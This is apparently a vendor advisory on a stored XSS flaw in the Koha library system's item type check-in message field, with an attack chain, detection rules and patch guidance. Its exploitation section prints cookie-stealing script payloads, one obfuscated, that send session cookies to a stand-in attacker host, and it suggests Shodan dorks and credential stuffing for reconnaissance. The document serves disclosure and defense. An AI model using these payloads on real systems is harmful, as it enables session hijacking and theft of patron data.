CVE-2026-50767

Executive Summary

CVE-2026-50767 is a stored cross-site scripting (XSS) vulnerability in the Koha Library Management System, affecting versions through 25.11. An authenticated attacker with administrative privileges can inject arbitrary web scripts via the item type check-in message field (checkinmsg), leading to persistent execution of malicious code within the browser context of other administrators or operators who view the item type administration page. Successful exploitation can result in session hijacking, credential theft, privilege escalation within the library management platform, and lateral movement into adjacent network segments. The vulnerability carries no assigned CVSS vector at the time of writing, with an EPSS score of 0.00222 indicating low current exploitation probability, though this should not be interpreted as a permanent low-risk classification given the administrative attack surface.

Technical Analysis

The vulnerability resides in the item type administration module of Koha, a widely deployed open-source integrated library system (ILS) written in Perl and using a MySQL/MariaDB backend. The affected endpoint handles the creation and modification of item types (e.g., "book", "DVD", "reserve") through the staff interface. The specific flaw is a failure to sanitize or encode user-supplied input destined for the checkinmsg field, which is the message displayed to staff when an item of that type is checked in.

At the code level, the issue manifests in the item type edit form handler — likely located in admin/itemtypes.pl — and the associated template admin/itemtypes.tt. The input submitted via the checkinmsg form parameter is persisted to the itemtypes table in the checkinmsg column without application of Koha's standard output-encoding functions (e.g., HTML::Entities::encode_entities or Koha's Template Toolkit html filter). When the item type list is rendered back in the browser, the raw checkinmsg content is emitted inline, preserving any embedded HTML or JavaScript.

This is a classic stored XSS pattern: the injection point is the HTTP POST request to admin/itemtypes.pl (or the equivalent CGI path), and the sink is the HTML td or div element rendering the check-in message on load of the item types list page. Since the checkinmsg field accepts multi-line text, an attacker can inject a payload containing full <script> tags, event handlers, or javascript: URIs without truncation.

The attack surface is restricted by two factors: authentication is required, and the vulnerable role must be that of an administrator. However, in a typical library deployment, multiple staff members hold administrative credentials, and the risk is further elevated by the fact that library staff often browse other internet-facing resources from the same workstation, increasing the chance of a payload executing in a session with elevated Koha privileges.

The absence of a CWE assignment complicates automated correlation; however, based on the vulnerability class, this maps squarely to CWE-79 (Improper Neutralization of Input During Web Page Generation). The lack of a formal CVSS vector means exploitability assessments should be based on the SSDLC context: the vulnerability requires authenticated admin access, reducing the network attack vector to high complexity, yet the impact scope is high in terms of confidentiality and integrity if an admin session is stolen.

Exploitation Scenarios

The following attack chain describes a realistic exploitation of CVE-2026-50767.

Step 1 — Reconnaissance & Target Identification: An attacker begins by fingerprinting Koha installations. Public-facing Koha instances are identifiable by characteristic staff login pages (/cgi-bin/koha/mainpage.pl), the Koha HTML title, and specific HTTP response headers such as X-Koha-Stats. The attacker enumerates target systems using search engines like Shodan using dorks such as http.title:"Koha" or http.component:"Koha Library Management System". Once an instance is found, the attacker attempts credential guessing via default password lists or credential-stuffing against the staff interface, targeting accounts with administrative privileges. Alternatively, the attacker may obtain credentials through a prior phishing campaign directed at library personnel.

Step 2 — Authentication & Initial Access: The attacker logs into the Koha staff client (/cgi-bin/koha/admin/home.pl) using compromised administrative credentials, typically utilising HTTP basic or session-cookie authentication. Successful authentication yields a session cookie (e.g., CGISESSID) that must remain valid throughout the attack.

Step 3 — Reconnaissance of Admin Interface: The attacker navigates to the item type administration page at /cgi-bin/koha/admin/itemtypes.pl. They review the form structure and identify the checkinmsg form field — an HTML <textarea> component. The attacker may also inspect the page source to confirm the field's name attribute and its position within the POST request.

Step 4 — Crafting the Payload: The attacker crafts a JavaScript payload intended to steal session cookies or perform a second-stage attack. A common payload includes an XMLHttpRequest to an attacker-controlled server with document.cookie exfiltrated, e.g.:

<script>
var i=new Image();i.src='https://evil.com/c?c='+document.cookie;
</script>

To avoid detection, the attacker may obfuscate this using base64 encoding or string concatenation, e.g.:

<script>
var _0x=[String.fromCharCode(120,109,108,104,116,116,112,58)];fetch(_0x[0]+'//evil.com/exfil?data='+btoa(document.cookie));
</script>

Step 5 — Injection & Storage: The attacker submits the item type form, placing the payload into the checkinmsg field. The server accepts the input without sanitization, storing it in the itemtypes table. On the next GET request to /admin/itemtypes.pl, the server renders the stored value inside the page's HTML. Any staff member accessing the item types list will trigger the payload execution.

Step 6 — Payload Trigger & Associated Impact: When an administrator or another staff user with admin rights loads the item types page, the browser parses the malicious <script> and executes it. Depending on the payload, the attacker achieves:

• Session Hijacking: The stolen CGISESSID cookie is sent to the attacker; the attacker then impersonates the victim in subsequent requests.
• Admin Account Creation: The payload can issue XMLHttpRequests to Koha API endpoints to create a new operator or modify existing ones, ensuring persistent access even if the compromised session is invalidated.
• Data Exfiltration: The payload can query the Koha REST API or issue page scrapes to exfiltrate patron personal data (PII), including borrower names, addresses, and lending history.

Step 7 — Persistence & Lateral Movement: The attacker uses the stolen admin context to modify system preferences, disable security logs, or install additional malicious item types to re-establish access. If the Koha server is on an internal network, the attacker can use the authenticated session to pivot to the underlying operating system or other connected library services (e.g., LDAP directory, ILS backend database).

Impact Assessment

The business impact of CVE-2026-50767 is significant for organisations relying on Koha for library operations. The vulnerability requires administrative credentials to exploit, but once exploited, the consequences are severe:

• Confidentiality: Patron records contain personally identifiable information (PII) including full names, addresses, phone numbers, email addresses, and borrowing history. Exfiltration of this data constitutes a reportable data breach under GDPR, PIPEDA, or other regional privacy regulations, exposing the library to regulatory fines and reputational damage.
• Integrity: The ability to execute arbitrary scripts in the context of other admins allows an attacker to modify circulation rules, delete patron accounts, or alter the library catalogue, undermining operational integrity and public trust.
• Availability: A malicious payload could be designed to render the item type management page unusable (e.g., infinite loop or DOM destruction), causing denial-of-service for administrative functions.

Blast radius: Given that a single Koha instance typically serves an entire library authority or consortium, the blast radius is the full administrative staff workstation pool plus the underlying server infrastructure. If the library uses federated authentication (e.g., Shibboleth, LDAP), the stolen admin session could grant access to connected systems.

CVSS subscores: With no official CVSS vector, an approximation based on the vulnerability mechanics yields a string of CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N (High, 6.8/10). The high privilege requirement and user interaction limit the network exploitation vector, but the confidentiality and integrity impacts are substantial given the sensitivity of library patron data.

Detection Guidance

Sigma Rule

title: Koha Item Type Checkinmsg Stored XSS Attempt
id: 3f4a7d9e-6b1c-4e2f-8a3b-1c5d9e7f2a4b
status: experimental
description: Detects POST requests to Koha admin itemtypes handler containing script-like content in the checkinmsg parameter.
logsource:
  category: webserver
  product: apache
detection:
  selection_method:
    cs-method: POST
  selection_path:
    cs-uri-path|contains:
      - '/cgi-bin/koha/admin/itemtypes.pl'
  selection_payload:
    c-uri-query|contains:
      - 'checkinmsg'
    cs-uri-query|contains:
      - '<script'
      - 'onmouseover'
      - 'onerror'
      - 'javascript:'
      - 'alert('
  condition: selection_method and selection_path and selection_payload
level: high
falsepositives:
  - Legitimate multi-line checkin messages containing HTML tags
tags:
  - attack.t1190
  - cve.2026.50767

YARA Rule

rule CVE_2026_50767_Koha_Checkinmsg_XSS {
    meta:
        author = "ValtersIT Threat Intel"
        description = "Detects stored XSS payload sink in Koha itemtypes checkinmsg field"
        date = "2026-06-01"
    strings:
        $a1 = "checkinmsg" ascii wide
        $b1 = "<script>" ascii wide
        $b2 = "<script " ascii wide
        $b3 = "onerror=" ascii wide
        $b4 = "onmouseover=" ascii wide
        $b5 = "fetch(" ascii wide
        $b6 = "XMLHttpRequest" ascii wide
    condition:
        $a1 and (any of ($b*))
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (
    msg:"ET WEB_SPECIFIC_APPS Koha Itemtypes checkinmsg Stored XSS Attempt (CVE-2026-50767)";
    flow:established,to_server;
    http.method;
    content:"POST";
    http.uri;
    content:"/cgi-bin/koha/admin/itemtypes.pl";
    http.client_body;
    content:"checkinmsg=";
    pcre:"/checkinmsg=.*(?:<script|on(?:mouseover|error|load)=|javascript:)/iU";
    sid:202650767;
    rev:1;
    metadata:created_at 2026_06_01, updated_at 2026_06_01, cve CVE_2026_50767;
)

Elastic Detection

sequence by process.entity_id with maxspan=5m
  [process where event.type == "start" and process.name == "httpd" and 
     process.args : "*itemtypes.pl*"]
  [any where event.action == "POST" and 
     network.protocol == "http" and 
     url.path : "/cgi-bin/koha/admin/itemtypes.pl" and 
     (url.query : "*checkinmsg*<script*" or 
      url.query : "*checkinmsg*javascript:*" or 
      url.query : "*checkinmsg*onerror*")]

Splunk SPL Query

index=web sourcetype=access_combined_w3c 
| search "/cgi-bin/koha/admin/itemtypes.pl" AND method="POST" 
| rex field=_raw "checkinmsg=(?<checkinmsg>[^&]+)"
| search checkinmsg="*<script*" OR checkinmsg="*onerror*" OR checkinmsg="*javascript:*" 
| table _time, src_ip, dest_host, status, checkinmsg 
| where match(checkinmsg, "(?i)(<script|javascript:|on(?:error|load|mouseover))")

Wazuh OSSEC Rule

<group name="koha,">
  <rule id="100267" level="12">
    <decoded_as>json</decoded_as>
    <field name="url">/cgi-bin/koha/admin/itemtypes.pl</field>
    <field name="http_method">POST</field>
    <match>checkinmsg</match>
    <regex>(<script|onerror|javascript:)</regex>
    <description>Koha itemtypes checkinmsg field contains XSS payload (CVE-2026-50767)</description>
    <group>web_application_attack,xss,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch confidence: 2/4 (CLAIMED — single source claims patch (not independently confirmed)).

1) Immediate Mitigations

• Restrict Administrative Access: If possible, limit the item type administration page access to a narrow set of IP addresses using network-level ACLs on the web server (e.g., Apache Require ip).
• Enable Multi-Factor Authentication (MFA): Force MFA for all Koha staff accounts, particularly those with administrator privileges, to reduce the likelihood of credential compromise that exposes the checkinmsg field.
• Review Existing Item Types: Conduct a manual audit of the itemtypes table, specifically the checkinmsg column. Use SELECT itemtype, checkinmsg FROM itemtypes WHERE checkinmsg LIKE '%<%' to identify and remove any HTML or script content. Consider this a trusted admin task executed directly via a database CLI.
• Deploy a WAF Rule: Configure a Web Application Firewall (e.g., ModSecurity) to block POST requests to /cgi-bin/koha/admin/itemtypes.pl that contain <script or other XSS markers in the body. The Suricata rule above can serve as a reference.

2) Patch & Upgrade Steps

• The advisory claims a patch is available via OSV, though the exact patched version is not listed. Check the Koha official releases (koha-community.org) and upgrade to the latest version above 25.11. Monitor the Koha community mailing list and the OSV advisory database for the specific patched release number.
• If discrete patching is not available, apply the community patch manually: locate the code handling checkinmsg in admin/itemtypes.pl and wrap the output in Template Toolkit's |html filter, e.g., [% itemtype.checkinmsg | html %]. For Perl-side processing, employ HTML::Entities::encode_entities($checkinmsg) before storage.

3) Long-Term Hardening

• Input Validation: Implement a whitelist validation function for all admin form fields in Koha, restricting allowed characters to alphanumeric, spaces, and safe punctuation. Reject any input containing <, >, &, or ".
• Output Encoding: Establish a mandatory policy that all user-controlled data in Koha templates be passed through |html filter (or equivalent) to prevent XSS across all modules, not just item types.
• Privilege Minimisation: Review the staff permission matrix in Koha. Ensure that editing_itemtypes permission is granted only to a single designated system administrator, not to the broader administrative group.
• Security Monitoring: Implement the detection rules above within the SIEM (Splunk/Elastic) and IDS (Suricata/Wazuh) stack. Enable audit logging on the item type administration module.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-50767
2. OSV Advisory: https://osv.dev/vulnerability/CVE-2026-50767
3. Koha Community Security Announcements: https://koha-community.org/security/
4. MITRE ATT&CK T1190: https://attack.mitre.org/techniques/T1190/
5. CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog (CVE-2026-50767 not listed — no in-the-wild exploitation evidence at the time of writing)

Threat Actor Campaigns: No known active campaigns exploiting CVE-2026-50767 have been identified. The EPSS score of 0.00222 (12.8th percentile) suggests very low exploitation activity. However, library systems have been historically targeted for PII harvesting, and the stored XSS mechanism is a common component in recent Iranian and Eastern European phishing-and-initial-access chains against educational and public library networks; monitoring should remain active.